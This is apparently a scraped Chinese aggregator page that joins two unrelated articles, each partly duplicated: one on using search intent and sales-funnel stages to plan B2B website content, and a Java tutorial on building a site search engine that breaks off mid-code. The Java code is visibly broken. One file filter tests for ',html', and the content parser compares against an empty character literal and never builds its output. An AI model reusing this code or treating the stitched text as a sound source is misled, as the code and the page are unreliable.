通過(guò)Google Analytics和 Google Search Console 中的來(lái)源關(guān)鍵詞,我們可以看到我們網(wǎng)站在哪些關(guān)鍵詞中獲得了流量。這些都是用戶(hù)實(shí)打實(shí)的搜索意圖,并且我們網(wǎng)站內容某程度上滿(mǎn)足了他們的搜索意圖。
另外我們可以通過(guò)GA中查看我們在Google 廣告投放中觸發(fā)廣告的關(guān)鍵詞,來(lái)查看用戶(hù)的搜索意圖。
我們把這些詞下載下來(lái),通過(guò)前文提及的搜索意圖會(huì )包含的字眼,進(jìn)行篩選。這樣我們就可以清楚了解到我們網(wǎng)站獲得處于哪個(gè)客戶(hù)旅程階段的用戶(hù)比較多,哪種搜索意圖類(lèi)型的內容主題我們是比較缺乏的。進(jìn)而就知道我們應該去拓展和補充哪些類(lèi)型的內容。
●外部拓展
與此同時(shí),我們也可以根據我們已有的詞根,配合用戶(hù)搜索意圖體現的字眼,利用第三方工具來(lái)進(jìn)行內容主題的拓展(關(guān)鍵詞拓展)。
Semrush是一個(gè)強大的數字營(yíng)銷(xiāo)工具,只需要輸入網(wǎng)址,semrush就會(huì )快速為網(wǎng)站進(jìn)行一連串關(guān)于SEO、廣告、競爭報告以及網(wǎng)站內容和社交媒體情況的各類(lèi)分析,并給出優(yōu)化建議。其中它的關(guān)鍵詞分析套件可以根據網(wǎng)站或者關(guān)鍵詞,提供相關(guān)關(guān)鍵詞的拓展,搜索量、serp等數據。利用Keyword Magic Tool 工具,配合搜意意圖體現常用詞??梢暂p松幫助我們找到當前用戶(hù)所關(guān)注的內容主題。
結 語(yǔ)
谷歌仍然不斷了解用戶(hù)的搜索意圖,并呈現符合用戶(hù)搜索意圖的信息。對于B2B業(yè)務(wù)來(lái)說(shuō),達成購買(mǎi)的客戶(hù)旅程是相比于B2C業(yè)務(wù)來(lái)說(shuō)是相對較長(cháng)的,因此其潛在的客戶(hù)處于銷(xiāo)售漏斗不同階段的數量也是相對會(huì )多。我們希望B2B網(wǎng)站可以獲得更好的排名表現和流量提升,必須考慮內容一定滿(mǎn)足處于各個(gè)銷(xiāo)售漏斗階段的用戶(hù)搜索需求。
深入了解客戶(hù),并且回歸基本路徑是B2B企業(yè)網(wǎng)站營(yíng)銷(xiāo)運營(yíng)、內容運營(yíng)的康莊大道!
Freedom 肖寶寧
現任環(huán)創(chuàng )網(wǎng)絡(luò )SEO manager;擁有6年海外數字營(yíng)銷(xiāo)經(jīng)驗,思維活躍,勇于創(chuàng )新,擅長(cháng)社交媒體營(yíng)銷(xiāo),服務(wù)客戶(hù)包括中國南航、TCL、vivo、GameLoop、米哈游等。
查看全部
搜索意圖和銷(xiāo)售漏斗——B2B網(wǎng)站內容部署的指路燈
對于B2B企業(yè)來(lái)說(shuō),官方網(wǎng)站的營(yíng)銷(xiāo)運營(yíng)中是整個(gè)品牌營(yíng)銷(xiāo)活動(dòng)非常重要又比較棘手的部分。而其中網(wǎng)站的內容部署更是一個(gè)較為花費精力的環(huán)節。
B2B企業(yè)網(wǎng)站缺乏內容嗎?
顯然地,熟悉B2B品牌的營(yíng)銷(xiāo)人員都知道自身不缺乏內容。品牌本身?yè)碛写罅康膬热菪问?。品牌故事、產(chǎn)品文案、產(chǎn)品使用手冊(大量的PDF文檔)、FAQ內容、客戶(hù)真實(shí)評論與反饋、行業(yè)資訊和資料等等,這些都是品牌主很容易就可以創(chuàng )建或者現成得到的內容。
因此,對于B2B企業(yè)的品牌站來(lái)說(shuō),內容營(yíng)銷(xiāo)更核心在于如何部署或者釋放這些內容到網(wǎng)站中,利用它們來(lái)獲取流量和提升網(wǎng)站的E-A-T評分。
本文主要從搜索意圖和銷(xiāo)售漏斗這兩個(gè)概念出發(fā),利用這兩個(gè)在SEO和營(yíng)銷(xiāo)學(xué)中基礎的理念介紹如何在B2B企業(yè)的品牌獨立站中部署內容。
銷(xiāo)售漏斗對于網(wǎng)站內容部署意味著(zhù)什么?
銷(xiāo)售漏斗的概念應該對任何營(yíng)銷(xiāo)人員來(lái)說(shuō)都不陌生,仍然記得這是我當年專(zhuān)業(yè)老師必問(wèn)必考的一個(gè)內容。所以它對于指引我們B2B網(wǎng)站的內容部署還是非常重要。
首先我們要重溫一下“客戶(hù)旅程”這個(gè)概念??蛻?hù)(用戶(hù))從了解一個(gè)品牌,到查詢(xún)資料,然后形成意見(jiàn),最后掏錢(qián)購買(mǎi),這是一個(gè)完整的客戶(hù)旅程。
產(chǎn)生意識>確認需求>進(jìn)行購買(mǎi)>留存選擇>口碑傳播,貫穿于銷(xiāo)售漏斗的始終。對于我們網(wǎng)站內容策略來(lái)說(shuō),客戶(hù)旅程和銷(xiāo)售漏斗發(fā)揮著(zhù)一個(gè)非常重要的指導作用。
根據Ahrefs的一個(gè)調研,大部分的B2B企業(yè)更加關(guān)注銷(xiāo)售漏斗中的BOFU環(huán)節,即促成購買(mǎi)的環(huán)節。
因此在網(wǎng)站的內容部署中,投入大量的精力在和產(chǎn)品購買(mǎi)相關(guān)的頁(yè)面中,如產(chǎn)品目錄頁(yè)、產(chǎn)品詳情頁(yè)或者其他促銷(xiāo)頁(yè)面。對于以詢(xún)盤(pán)或者銷(xiāo)售為業(yè)績(jì)導向的B2B企業(yè)來(lái)說(shuō),的確是無(wú)可厚非的一種操作。
然而,很多時(shí)候我們仿佛忘記了當初學(xué)習營(yíng)銷(xiāo)時(shí)的一個(gè)基本理念---用戶(hù)達成購買(mǎi),是一個(gè)漫長(cháng)的被攻占心智的過(guò)程。對于銷(xiāo)售漏斗中的TOFU和MOFU部分的內容,我們忽視了或者不愿意去投入精力,直接無(wú)視了在“客戶(hù)旅程”中處于中間過(guò)程的潛在客戶(hù)。
在我們定立網(wǎng)站內容策略,制定內容部署方針的時(shí)候,如果我們發(fā)現不知道應該部署什么內容的時(shí)候,可以回顧一下銷(xiāo)售漏斗中用戶(hù)在不同的客戶(hù)旅程階段,他們所關(guān)注的內容是什么。
不同購買(mǎi)漏斗階段用戶(hù)關(guān)心的內容
處于TOFU部分的用戶(hù),大多是剛剛發(fā)現自己有這樣的需求,并且在網(wǎng)上開(kāi)始搜索相關(guān)資料、品牌等。那么網(wǎng)站中應該有這樣的內容來(lái)展示品牌在這個(gè)領(lǐng)域的專(zhuān)業(yè)度,讓潛在的客戶(hù)相信你的品牌作為一個(gè)可靠的信息來(lái)源。網(wǎng)站中的品牌故事內容、專(zhuān)業(yè)背書(shū)內容、Ebook(包括白皮書(shū)等)以及當前比較流行的短視頻、社媒運營(yíng)、信息圖等都可以幫助你的潛在客戶(hù)加深對品牌的印象,提高他們重新訪(fǎng)問(wèn)網(wǎng)站獲取信息的機會(huì )或者關(guān)注品牌動(dòng)向。
而進(jìn)入到MOFU部分內容的用戶(hù),他們已經(jīng)對品牌和行業(yè)相關(guān)的一些基本概念有一定了解,確定了需求。他們更加想進(jìn)一步找到滿(mǎn)足自己需求的解決方案、和一些技術(shù)對比。而我們這個(gè)時(shí)候應該呈現給用戶(hù)的是我們的一些技術(shù)能力、解決方案策略等內容。
從這個(gè)角度出發(fā),我們應該在內容部署中考慮案例、指導性?xún)热?、相關(guān)研討會(huì ),活動(dòng)實(shí)況、場(chǎng)景應用介紹等。同時(shí)配合EDM營(yíng)銷(xiāo)把這些內容推送給在TOFU部分積累的潛在用戶(hù)。
到了BOFU,我們希望潛在客戶(hù)進(jìn)行購買(mǎi),到達這個(gè)階段的用戶(hù)應該理解我們呈現的內容,我們需要讓他們相信我們的產(chǎn)品、服務(wù)確實(shí)有能力解決他們的問(wèn)題。那么我們需要什么內容來(lái)推動(dòng)他們進(jìn)行購買(mǎi)行為呢?我相信大部分營(yíng)銷(xiāo)人員都對這部分內容較為熟悉。
一個(gè)不同版本的對比表格、一份產(chǎn)品或者軟件的demo試用、根據不同客戶(hù)需求呈現的推薦產(chǎn)品、真實(shí)的客戶(hù)反饋以及具體的參數,這些內容都是在BOFU階段促進(jìn)用戶(hù)交易的內容。
B2B網(wǎng)站應該包含所有貫穿銷(xiāo)售漏斗階段的內容
不少B2B 網(wǎng)站的營(yíng)銷(xiāo)人員會(huì )不禁發(fā)出疑問(wèn),以上說(shuō)的三部分內容,應該怎么去分布。首先,我們明確建議:B2B網(wǎng)站應該呈現包含所有貫穿銷(xiāo)售漏斗階段的內容。
這是因為,我們無(wú)法判斷,進(jìn)入我們網(wǎng)站的潛在客戶(hù)他們處于銷(xiāo)售漏斗中哪一個(gè)階段。因此,如果我們網(wǎng)站可以部署滿(mǎn)足用戶(hù)處于不同客戶(hù)旅程階段的內容,那么我們網(wǎng)站就可以捕獲不同需求客戶(hù)的流量,各個(gè)部分的內容都可以成為網(wǎng)站SEO流量的推進(jìn)劑,而最終促進(jìn)銷(xiāo)售和詢(xún)盤(pán)的達成。
用戶(hù)搜索意圖的充分分析幫助B2B網(wǎng)站的內容建設
當我們知道為B2B網(wǎng)站創(chuàng )建什么類(lèi)型的內容后,我們就需要考慮怎么去創(chuàng )建貼合用戶(hù)需求,為網(wǎng)站帶來(lái)流量的內容了。這個(gè)時(shí)候“用戶(hù)搜索意圖”分析就可以幫助到我們制定內容建設的框架了。
什么是用戶(hù)搜索意圖?
顧名思義,搜索意圖就是反映潛在客戶(hù)為什么要這樣搜索的原因。一般情況下,在SEO中用戶(hù)的搜索意圖體現在他們通過(guò)搜索哪些關(guān)鍵詞來(lái)獲取他們想要的信息。
用戶(hù)搜索意圖對于B2B網(wǎng)站內容部署有什么意義?
了解用戶(hù)的搜索意圖,便于網(wǎng)站的營(yíng)銷(xiāo)人員創(chuàng )建符合用戶(hù)需求的內容,有利于網(wǎng)站的SEO排名和流量的提升。前文說(shuō)到,潛在客戶(hù)處于不同的客戶(hù)旅程階段,進(jìn)入不同的銷(xiāo)售漏斗部分,他們所想了解的東西是不一樣的。這個(gè)時(shí)候他們所使用的搜索關(guān)鍵詞也會(huì )有所差異。
因此當我們分析用戶(hù)意圖后,我們便可以得知他們當前所想了解的信息大多會(huì )和哪些主題相關(guān)。而我們網(wǎng)站所部署的內容主題也應該和他們相貼合。
用戶(hù)搜索意圖的類(lèi)型有哪些?
用戶(hù)的搜索意圖類(lèi)型主要分以下幾種:
1、信息類(lèi)型——用戶(hù)希望通過(guò)搜索,了解某些品牌、產(chǎn)品、服務(wù)的基礎信息,包括它們的用途、原理等等。通常這類(lèi)意圖的關(guān)鍵詞都包含“what is”、“who is”,“Where is”等5W元素。
2、導航類(lèi)型——用戶(hù)可能希望訪(fǎng)問(wèn)某個(gè)特定的網(wǎng)站或者頁(yè)面。這個(gè)時(shí)候,他們會(huì )直接搜索某個(gè)網(wǎng)站的名稱(chēng)或者品牌名稱(chēng),如“Facebook”,“Apple official website”。
3、含交易意向的類(lèi)型——購買(mǎi)意欲較強的用戶(hù),他們大多已經(jīng)處于購買(mǎi)漏斗比較靠后的階段,這個(gè)時(shí)候他們所呈現的搜索意圖已經(jīng)非常明顯,它們大多會(huì )使用含有“buy”,“price”,“cheap”等等和購買(mǎi)、價(jià)格比較相關(guān)的字眼。
4、商業(yè)調查類(lèi)型——這類(lèi)搜索意圖和含交易意向的類(lèi)型有些類(lèi)似。他們已經(jīng)有很明顯的購買(mǎi)意圖,而且希望通過(guò)調查,找到頭部品牌、優(yōu)惠、reviews、參數對比信息等內容幫助他們進(jìn)行最后的決策。
當我們知道用戶(hù)的搜索用詞類(lèi)型會(huì )體現以上四種搜索意圖的時(shí)候,在我們在做內容策劃時(shí),進(jìn)行關(guān)鍵詞調研、主題調研就應該總結出一些用詞規律,并根據這些詞根,推斷通過(guò)這些詞進(jìn)入到網(wǎng)站的用戶(hù)大多處于哪個(gè)客戶(hù)旅行階段,也可以通過(guò)已有數據來(lái)檢查我們網(wǎng)站目前缺乏銷(xiāo)售漏斗中哪些內容類(lèi)型,進(jìn)而對網(wǎng)站的內容主題進(jìn)行規劃。
各類(lèi)搜索意圖一般情況下會(huì )出現的字眼:
如何了解來(lái)到網(wǎng)站的用戶(hù)的搜索意圖?
我們知道搜索意圖的分類(lèi)和體現用戶(hù)搜索意圖的關(guān)鍵詞詞根后,我們應該怎么去了解和分析我們的網(wǎng)站有哪些類(lèi)型的用戶(hù)訪(fǎng)問(wèn)了呢?
這個(gè)很簡(jiǎn)單,相關(guān)的工具和網(wǎng)站后臺就可以幫助我們得到這些信息。
● 內部挖掘:
Google Analytics & Google Search Console
通過(guò)Google Analytics和 Google Search Console 中的來(lái)源關(guān)鍵詞,我們可以看到我們網(wǎng)站在哪些關(guān)鍵詞中獲得了流量。這些都是用戶(hù)實(shí)打實(shí)的搜索意圖,并且我們網(wǎng)站內容某程度上滿(mǎn)足了他們的搜索意圖。
另外我們可以通過(guò)GA中查看我們在Google 廣告投放中觸發(fā)廣告的關(guān)鍵詞,來(lái)查看用戶(hù)的搜索意圖。
我們把這些詞下載下來(lái),通過(guò)前文提及的搜索意圖會(huì )包含的字眼,進(jìn)行篩選。這樣我們就可以清楚了解到我們網(wǎng)站獲得處于哪個(gè)客戶(hù)旅程階段的用戶(hù)比較多,哪種搜索意圖類(lèi)型的內容主題我們是比較缺乏的。進(jìn)而就知道我們應該去拓展和補充哪些類(lèi)型的內容。
●外部拓展
與此同時(shí),我們也可以根據我們已有的詞根,配合用戶(hù)搜索意圖體現的字眼,利用第三方工具來(lái)進(jìn)行內容主題的拓展(關(guān)鍵詞拓展)。
Semrush是一個(gè)強大的數字營(yíng)銷(xiāo)工具,只需要輸入網(wǎng)址,semrush就會(huì )快速為網(wǎng)站進(jìn)行一連串關(guān)于SEO、廣告、競爭報告以及網(wǎng)站內容和社交媒體情況的各類(lèi)分析,并給出優(yōu)化建議。其中它的關(guān)鍵詞分析套件可以根據網(wǎng)站或者關(guān)鍵詞,提供相關(guān)關(guān)鍵詞的拓展,搜索量、serp等數據。利用Keyword Magic Tool 工具,配合搜意意圖體現常用詞??梢暂p松幫助我們找到當前用戶(hù)所關(guān)注的內容主題。
結 語(yǔ)
谷歌仍然不斷了解用戶(hù)的搜索意圖,并呈現符合用戶(hù)搜索意圖的信息。對于B2B業(yè)務(wù)來(lái)說(shuō),達成購買(mǎi)的客戶(hù)旅程是相比于B2C業(yè)務(wù)來(lái)說(shuō)是相對較長(cháng)的,因此其潛在的客戶(hù)處于銷(xiāo)售漏斗不同階段的數量也是相對會(huì )多。我們希望B2B網(wǎng)站可以獲得更好的排名表現和流量提升,必須考慮內容一定滿(mǎn)足處于各個(gè)銷(xiāo)售漏斗階段的用戶(hù)搜索需求。
深入了解客戶(hù),并且回歸基本路徑是B2B企業(yè)網(wǎng)站營(yíng)銷(xiāo)運營(yíng)、內容運營(yíng)的康莊大道!
Freedom 肖寶寧
現任環(huán)創(chuàng )網(wǎng)絡(luò )SEO manager;擁有6年海外數字營(yíng)銷(xiāo)經(jīng)驗,思維活躍,勇于創(chuàng )新,擅長(cháng)社交媒體營(yíng)銷(xiāo),服務(wù)客戶(hù)包括中國南航、TCL、vivo、GameLoop、米哈游等。
用Java寫(xiě)了一個(gè)搜索引擎系統
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 63 次瀏覽 ? 2022-05-07 19:02
前言
咱們如果用我們的小服務(wù)器去搞百度,搜狗那種引擎肯定是不行的,內屬于全站搜索,我們這里做一個(gè)站內搜索。這個(gè)還是可以的,就類(lèi)似于我們對網(wǎng)站里的資源進(jìn)行搜索。
一.搜索引擎怎么搜索
搜索引擎就像一個(gè)小蜜蜂每天不停的采摘蜂蜜,就是去爬蟲(chóng)各個(gè)網(wǎng)頁(yè),然后通過(guò)爬取之后建立索引,以供于我們去搜索。
這里我們可以使用Python,或者下載文檔壓縮包。這里我們下包把,快多了。本來(lái)想搞一個(gè)英雄聯(lián)盟的,實(shí)在找不見(jiàn),要是后續有老鐵找到可以分享一下。
建議大家別爬蟲(chóng)(要不然被告了,不過(guò)我們學(xué)校的官網(wǎng)倒是可以隨便爬,我們當時(shí)就是拿這個(gè)練手的) 為什么要用索引呢?
因為爬的數據太多了,不索引,難道我去遍歷嗎?時(shí)間復雜度太大了。
這里我們需要建立索引,索引分別為正排索引,和倒排索引。
拿LOL舉個(gè)例子吧,正排就相當于,我們提到無(wú)極劍圣的技能就可以聯(lián)想到:
所以這是根據名字選技能
倒排索引就是LOL里面誰(shuí)有劍:
所以這是根據特點(diǎn)選擇英雄
二.模塊劃分
1.索引模塊
1)掃描下載到的文檔,分析內容,構建出,正排索引和倒排索引。并且把索引內容保存到文件中。
2)加載制作i好的索引。并提供一些API實(shí)現查正排和查倒排這樣的功能。
2.搜索模塊
1)調用索引模塊,實(shí)現一個(gè)搜索的完整過(guò)程。
輸入:用戶(hù)的查詢(xún)詞 輸出:完整的搜索結果
3.web模塊
需要實(shí)現一個(gè)簡(jiǎn)單的web程序,能夠通過(guò)網(wǎng)頁(yè)的形式和用戶(hù)進(jìn)行交互。包含了前端和后端。
三. 怎么實(shí)現分詞
分詞的原理:
1.基于詞庫
嘗試把所有的詞都進(jìn)行窮舉,把這些結果放到詞典文件中。
2.基于統計
收集到很多的語(yǔ)料庫,進(jìn)行人工標注,知道了那些字在一起的概率比較大~
java中能夠實(shí)現分詞的第三方工具也是有很多的
比如ansj(聽(tīng)說(shuō)唱的兄弟可能聽(tīng)過(guò)ansj,哈哈)這個(gè)就是一個(gè)maven中央倉庫的分詞第三方庫。
我們直接下載最新版本然后放入pom.xml里面
test包里直接操作:我們使用這個(gè)測試代碼直接搞。試一下這個(gè)包咋用。
import org.ansj.domain.Term;import org.ansj.splitWord.analysis.ToAnalysis;import java.util.List;public class TastAnsj { public static void main(String[] args) { String str = "易大師是一個(gè)有超高機動(dòng)性的刺客、戰士型英雄,擅長(cháng)利用快速的打擊迅速擊潰對手,易大師一般打野和走單人路,作為無(wú)極劍道的最后傳人,易可以迅速砍出大量傷害,同時(shí)還能利用技能躲避猛烈的攻擊,避開(kāi)敵人的集火。"; List terms = ToAnalysis.parse(str).getTerms(); for (Term term : terms) { System.out.println(term.getName()); } }}
四.文件讀取
把剛剛下載好的文檔的路徑復制到String中并且用常量標記。
這一步是為了用遍歷的方法把所有html文件搞出來(lái),我們這里用了一個(gè)遞歸,如果是絕對路徑,就填加到文件鏈表,如果不是就遞歸,繼續添加里面的值。
import java.io.File;import java.util.ArrayList;//讀取剛剛文檔public class Parser { private static final String INPUT_PATH="D:/test/docs/api"; public void run(){ //整個(gè)Parser類(lèi)的入口 //1.根據路徑,去枚舉出所有的文件.(html); ArrayList fileList=new ArrayList(); enumFile(INPUT_PATH,fileList); System.out.println(fileList); System.out.println(fileList.size()); //2.針對上面羅列出的文件,打開(kāi)文件,讀取文件內容,并進(jìn)行解析 //3.把在內存中構造好的索引數據結構,保定到指定的文件中。 } //第一個(gè)參數表示從哪里開(kāi)始遍歷 //第二個(gè)表示結果。 private void enumFile(String inputPath,ArrayListfileList){ File rootPath=new File(inputPath); //listFiles 能夠獲取到一層目錄下的文件 File[] files= rootPath.listFiles(); for(File f:files){ //根據當前f的類(lèi)型判斷是否遞歸。 //如果f是一個(gè)普通文件,就把f加入到fileList里面 //如果不是就調用遞歸 if(f.isDirectory()){ enumFile(f.getAbsolutePath(),fileList); }else { fileList.add(f); } } } public static void main(String[] args) { //通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程 Parser parser=new Parser(); parser.run(); }}
我們嘗試運行一下,這里的文件也太多了吧,而且無(wú)論是什么都打印出來(lái)了。所以我們下一步就是把這些文件進(jìn)行篩選,選擇有用的。
else?{ if(f.getAbsolutePath().endsWith(",html")) fileList.add(f);}
這個(gè)代碼就是只是針對末尾為html的文件。下圖就是展示結果。
4.1 打開(kāi)文件,解析內容。
這里分為三個(gè)分別是解析Title,解析Url,解析內容Content
4.1.1解析Title
f.getName()是直接讀取文件名字的方法。
我們用的name.substring(0,f.getName().length()-5);為什么要用總的文件名字長(cháng)度減去5呢,因為.HTML剛好就是五。
private String parseTitle(File f) { String name= f.getName();?????????return?name.substring(0,f.getName().length()-5); }
4.1.2解析Url操作
這里的url就是我們平時(shí)去一個(gè)瀏覽器輸入一個(gè)東西下面會(huì )有一個(gè)url,這個(gè)url就是我們的絕對路徑經(jīng)過(guò)截取獲得出我們的相對的目錄,然后與我們的http進(jìn)行拼接,這樣就可以直接得到一個(gè)頁(yè)面。
private String parseUrl(File f) { String part1="https://docs.oracle.com/javase/8/docs/api/"; String part2=f.getAbsolutePath().substring(INPUT_PATH.length()); return part1+part2; }
4.1.3解析內容
以為開(kāi)關(guān)進(jìn)行對數據的讀取,以int類(lèi)型讀取,為什么要用int而不是char呢因為int類(lèi)型讀完之后就變成-1可以判斷一下是否讀取完畢。具體代碼如下很容易理解。
private String parseContent(File f) throws IOException { //先按照一個(gè)一個(gè)字符來(lái)讀取,以作為開(kāi)關(guān) try(FileReader fileReader=new FileReader(f)) { //加上一個(gè)是否拷貝的開(kāi)關(guān). boolean isCopy=true; //還需要準備一個(gè)結果保存 StringBuilder content=new StringBuilder(); while (true){ //此處的read的返回值是int,不是char //如果讀到文件末尾,就會(huì )返回-1,這是用int的好處; int ret = 0; try { ret = fileReader.read(); } catch (IOException e) { e.printStackTrace(); } if(ret==-1) { break; } char c=(char) ret; if(isCopy){ if(c==''){ isCopy=true; } }????????????} return content.toString(); } catch (FileNotFoundException e) { e.printStackTrace(); } return ""; }
這一模塊總的代碼塊如下:
import java.io.File;import java.io.FileNotFoundException;import java.io.FileReader;import java.io.IOException;import java.util.ArrayList;//讀取剛剛文檔public class Parser { private static final String INPUT_PATH="D:/test/docs/api"; public void run(){ //整個(gè)Parser類(lèi)的入口 //1.根據路徑,去枚舉出所有的文件.(html); ArrayList fileList=new ArrayList(); enumFile(INPUT_PATH,fileList); System.out.println(fileList); System.out.println(fileList.size()); //2.針對上面羅列出的文件,打開(kāi)文件,讀取文件內容,并進(jìn)行解析 for (File f:fileList){ System.out.println("開(kāi)始解析"+f.getAbsolutePath()); parseHTML(f); } //3.把在內存中構造好的索引數據結構,保定到指定的文件中。 }<br /> private String parseTitle(File f) { String name= f.getName();?????????return?name.substring(0,f.getName().length()-5); } private String parseUrl(File f) { String part1="https://docs.oracle.com/javase/8/docs/api/"; String part2=f.getAbsolutePath().substring(INPUT_PATH.length()); return part1+part2; } private String parseContent(File f) throws IOException { //先按照一個(gè)一個(gè)字符來(lái)讀取,以作為開(kāi)關(guān) try(FileReader fileReader=new FileReader(f)) { //加上一個(gè)是否拷貝的開(kāi)關(guān). boolean isCopy=true; //還需要準備一個(gè)結果保存 StringBuilder content=new StringBuilder(); while (true){ //此處的read的返回值是int,不是char //如果讀到文件末尾,就會(huì )返回-1,這是用int的好處; int ret = 0; try { ret = fileReader.read(); } catch (IOException e) { e.printStackTrace(); } if(ret==-1) { break; } char c=(char) ret; if(isCopy){ if(c==''){ isCopy=true; } }????????????} return content.toString(); } catch (FileNotFoundException e) { e.printStackTrace(); } return ""; } private void parseHTML (File f){ //解析出標題 String title=parseTitle(f); //解析出對應的url String url=parseUrl(f); //解析出對應的正文 try { String content=parseContent(f); } catch (IOException e) { e.printStackTrace(); } } //第一個(gè)參數表示從哪里開(kāi)始遍歷 //第二個(gè)表示結果。 private void enumFile(String inputPath,ArrayListfileList){ File rootPath=new File(inputPath); //listFiles 能夠獲取到一層目錄下的文件 File[] files= rootPath.listFiles(); for(File f:files){ //根據當前f的類(lèi)型判斷是否遞歸。 //如果f是一個(gè)普通文件,就把f加入到fileList里面 //如果不是就調用遞歸 if(f.isDirectory()){ enumFile(f.getAbsolutePath(),fileList); }else { if(f.getAbsolutePath().endsWith(".html")) fileList.add(f); } } } public static void main(String[] args) { //通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程 Parser parser=new Parser(); parser.run(); }}
歡迎加入程序員交流群
鬼哥我創(chuàng )建了幾個(gè)技術(shù)交流群,大家在群里都是九分聊技術(shù)、一分聊風(fēng)雪~
如果你沒(méi)有加群,不妨掃描下方二維碼、添加我的微信。我拉大家進(jìn)群,記得備注:工作城市+昵稱(chēng)+技術(shù)方向!
Ps:如果朋友圈對我設置權限的話(huà),那就不用加我好友了。
<p data-mid="" data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(19, 52, 86)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(19, 52, 86)" data-darkmode-bgimage-16266178294118="1" style="outline: 0px;text-align: center;">往期推薦
B站,竟然變成了相親求偶平臺!<br data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(67, 131, 199)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(44, 95, 149)" style="outline: 0px;" />
MySQL奪命15問(wèn),你能堅持到第幾問(wèn)?<br style="outline: 0px;" />
Nginx 輕松搞定跨域問(wèn)題!<br style="outline: 0px;" />
換掉 UUID,更快更安全!<br style="outline: 0px;" />
Java實(shí)現10萬(wàn)+并發(fā)去重,持續優(yōu)化!<br data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(67, 131, 199)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(44, 95, 149)" style="outline: 0px;" /><br style="outline: 0px;" />花費數月整理出來(lái)的技術(shù)資源免費分享給大家掃描下方二維碼,回復關(guān)鍵字【技術(shù)福利】獲??!喜歡的這里報道<br data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(163, 163, 163)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)" style="outline: 0px;" />↘↘↘</p> 查看全部
用Java寫(xiě)了一個(gè)搜索引擎系統
前言
咱們如果用我們的小服務(wù)器去搞百度,搜狗那種引擎肯定是不行的,內屬于全站搜索,我們這里做一個(gè)站內搜索。這個(gè)還是可以的,就類(lèi)似于我們對網(wǎng)站里的資源進(jìn)行搜索。
一.搜索引擎怎么搜索
搜索引擎就像一個(gè)小蜜蜂每天不停的采摘蜂蜜,就是去爬蟲(chóng)各個(gè)網(wǎng)頁(yè),然后通過(guò)爬取之后建立索引,以供于我們去搜索。
這里我們可以使用Python,或者下載文檔壓縮包。這里我們下包把,快多了。本來(lái)想搞一個(gè)英雄聯(lián)盟的,實(shí)在找不見(jiàn),要是后續有老鐵找到可以分享一下。
建議大家別爬蟲(chóng)(要不然被告了,不過(guò)我們學(xué)校的官網(wǎng)倒是可以隨便爬,我們當時(shí)就是拿這個(gè)練手的) 為什么要用索引呢?
因為爬的數據太多了,不索引,難道我去遍歷嗎?時(shí)間復雜度太大了。
這里我們需要建立索引,索引分別為正排索引,和倒排索引。
拿LOL舉個(gè)例子吧,正排就相當于,我們提到無(wú)極劍圣的技能就可以聯(lián)想到:
所以這是根據名字選技能
倒排索引就是LOL里面誰(shuí)有劍:
所以這是根據特點(diǎn)選擇英雄
二.模塊劃分
1.索引模塊
1)掃描下載到的文檔,分析內容,構建出,正排索引和倒排索引。并且把索引內容保存到文件中。
2)加載制作i好的索引。并提供一些API實(shí)現查正排和查倒排這樣的功能。
2.搜索模塊
1)調用索引模塊,實(shí)現一個(gè)搜索的完整過(guò)程。
輸入:用戶(hù)的查詢(xún)詞 輸出:完整的搜索結果
3.web模塊
需要實(shí)現一個(gè)簡(jiǎn)單的web程序,能夠通過(guò)網(wǎng)頁(yè)的形式和用戶(hù)進(jìn)行交互。包含了前端和后端。
三. 怎么實(shí)現分詞
分詞的原理:
1.基于詞庫
嘗試把所有的詞都進(jìn)行窮舉,把這些結果放到詞典文件中。
2.基于統計
收集到很多的語(yǔ)料庫,進(jìn)行人工標注,知道了那些字在一起的概率比較大~
java中能夠實(shí)現分詞的第三方工具也是有很多的
比如ansj(聽(tīng)說(shuō)唱的兄弟可能聽(tīng)過(guò)ansj,哈哈)這個(gè)就是一個(gè)maven中央倉庫的分詞第三方庫。
我們直接下載最新版本然后放入pom.xml里面
test包里直接操作:我們使用這個(gè)測試代碼直接搞。試一下這個(gè)包咋用。
import org.ansj.domain.Term;import org.ansj.splitWord.analysis.ToAnalysis;import java.util.List;public class TastAnsj { public static void main(String[] args) { String str = "易大師是一個(gè)有超高機動(dòng)性的刺客、戰士型英雄,擅長(cháng)利用快速的打擊迅速擊潰對手,易大師一般打野和走單人路,作為無(wú)極劍道的最后傳人,易可以迅速砍出大量傷害,同時(shí)還能利用技能躲避猛烈的攻擊,避開(kāi)敵人的集火。"; List terms = ToAnalysis.parse(str).getTerms(); for (Term term : terms) { System.out.println(term.getName()); } }}
四.文件讀取
把剛剛下載好的文檔的路徑復制到String中并且用常量標記。
這一步是為了用遍歷的方法把所有html文件搞出來(lái),我們這里用了一個(gè)遞歸,如果是絕對路徑,就填加到文件鏈表,如果不是就遞歸,繼續添加里面的值。
import java.io.File;import java.util.ArrayList;//讀取剛剛文檔public class Parser { private static final String INPUT_PATH="D:/test/docs/api"; public void run(){ //整個(gè)Parser類(lèi)的入口 //1.根據路徑,去枚舉出所有的文件.(html); ArrayList fileList=new ArrayList(); enumFile(INPUT_PATH,fileList); System.out.println(fileList); System.out.println(fileList.size()); //2.針對上面羅列出的文件,打開(kāi)文件,讀取文件內容,并進(jìn)行解析 //3.把在內存中構造好的索引數據結構,保定到指定的文件中。 } //第一個(gè)參數表示從哪里開(kāi)始遍歷 //第二個(gè)表示結果。 private void enumFile(String inputPath,ArrayListfileList){ File rootPath=new File(inputPath); //listFiles 